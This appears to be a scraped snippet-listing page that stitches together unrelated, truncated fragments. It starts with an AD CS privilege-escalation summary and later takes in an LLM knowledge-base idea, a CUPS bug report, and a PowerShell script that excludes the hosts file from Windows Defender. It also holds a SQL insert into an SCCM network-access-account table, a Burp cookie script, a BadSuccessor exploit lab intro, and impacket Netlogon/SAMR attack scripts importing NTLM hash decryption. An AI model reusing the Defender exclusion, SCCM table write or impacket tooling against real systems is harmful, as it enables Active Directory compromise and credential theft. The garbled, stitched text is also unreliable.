gitgotgitgotit

Certighost (CVE-2026-54121)

Authors: @h0j3n, @aniqfakhrul
Date: July 24, 2026

Certighost is an Active Directory Certificate Services (AD CS) vulnerability that allowed a low-privileged domain user to impersonate a Domain Controller and achieve domain compromise in the tested AD CS configuration. The issue was addressed in the July 2026 security updates.

The vulnerable path is an AD CS enrollment fallback known as a chase during directory-object resolution. By supplying request attributes such as cdc, an attacker could cause the Certification Authority (CA) to ask an attacker-controlled host for identity data belonging to a Domain Controller. The CA then used that data while issuing a certificate.

LLM Wiki

A pattern for building personal knowledge bases using LLMs.

This is an idea file, it is designed to be copy pasted to your own LLM Agent (e.g. OpenAI Codex, Claude Code, OpenCode / Pi, or etc.). Its goal is to communicate the high level idea, but your agent will build out the specifics in collaboration with you.

The core idea

Most people's experience with LLMs and documents looks like RAG: you upload a collection of files, the LLM retrieves relevant chunks at query time, and generates an answer. This works, but the LLM is rediscovering knowledge from scratch on every question. There's no accumulation. Ask a subtle question that requires synthesizing five documents, and the LLM has to find and piece together the relevant fragments every time. Nothing is built up. NotebookLM, ChatGPT file uploads, and most RAG systems work this way.

Original report

Affected Vendor: OpenPrinting
Affected Product: Several components of the CUPS printing system: cups-browsed, libppd, libcupsfilters and cups-filters.
Affected Version: All versions <= 2.0.1 (latest release) and master.
Significant ICS/OT impact? no
Reporter: Simone Margaritelli [evilsocket@gmail.com]
Vendor contacted? yes The vendor has been notified trough Github Advisories and all bugs have been confirmed:

https://github.com/OpenPrinting/cups-browsed/security/advisories/GHSA-rj88-6mr5-rcw8

	# ms-block.ps1 - Windows telemetry/AI blocker (idempotent, no dupes)
	# Run as Administrator
	$hostsPath = "$env:windir\System32\drivers\etc\hosts"
	$marker = "# --- MS-BLOCK START ---"
	$endMarker = "# --- MS-BLOCK END ---"

	# Exclude hosts file from Defender
	Add-MpPreference -ExclusionPath $hostsPath -ErrorAction SilentlyContinue

	# Read current hosts, strip any previous MS-BLOCK section

	IF NOT EXISTS (
	select
	1
	from
	vSMS_SC_ClientComponent_PropertyLists
	where
	ID = 72057594037927956
	and Name = N 'Network Access User Names'
	) insert into vSMS_SC_ClientComponent_PropertyLists (ID, Value, Name)
	values

	// Revision 1 - originally developed by chatGPT for @irsdl
	// Revision 2 - improved by ChatGPT to be more efficient using Burp APIs!
	// Automatically updates the Cookie header in Burp Repeater requests using Set-Cookie values from responses. This Bambda CustomAction preserves all existing cookies and only updates or adds values when necessary — ensuring session continuity without overwriting unrelated cookies.

	// 1. Grab the request & response
	var request = requestResponse.request();
	var response = requestResponse.response();

	// 2. Pull any Set-Cookie cookies from the response
	var responseCookies = response.cookies();

	f4bcdad0-1d62-44e0-892a-6c0f0f7fbd20
	This is from David’s personal LLM stack:

	⸻

	Below are two full, headless, zero-touch lab build solutions for BadSuccessor:
	• A. VirtualBox (on Windows or Linux) – Fully Automated with Packer & PowerShell remoting
	• B. AWS (EC2) – Terraform & Cloud-Init, Automated Domain Build & Exploit

	Both provide complete, reproducible AD domains, lab user, and exploit chain—no skipped steps or placeholders.

	import sys
	import argparse
	import asyncio


	def ldap_url(auth_options):
	url_format = {
	"kerb_password": f"kerberos+password://{{domain}}\\{{username}}:{{password}}@{{fqdn}}/?dc={{dcip}}",
	"kerb_rc4": f"kerberos+rc4://{{domain}}\\{{username}}:{{nt}}@{{fqdn}}/?dc={{dcip}}",
	"kerb_aes": f"kerberos+aes://{{domain}}\\{{username}}:{{aeskey}}@{{fqdn}}/?dc={{dcip}}",

	from impacket.dcerpc.v5 import epm, rpcrt, transport, nrpc, samr
	from impacket.uuid import bin_to_uuidtup
	from impacket.crypto import SamDecryptNTLMHash
	from impacket.nt_errors import STATUS_MORE_ENTRIES
	from impacket.dcerpc.v5.rpcrt import DCERPCException
	from binascii import unhexlify, hexlify
	from random import randbytes
	import sys
	import argparse

	from impacket.dcerpc.v5 import epm, lsad, rpcrt, transport, lsat, ndr, nrpc
	from impacket.uuid import bin_to_uuidtup
	from binascii import unhexlify, hexlify
	from struct import pack, unpack
	from random import randbytes
	import sys

	# Perform a netrlogonsamlogonwithflags with a server account, it uses netlogon as SSP (see [MS-NRPC] 3.3)
	# Pure TCP RPC is used (ncacn_ip_tcp option)
	# RC4 is used here because to use AES, impacket must be patched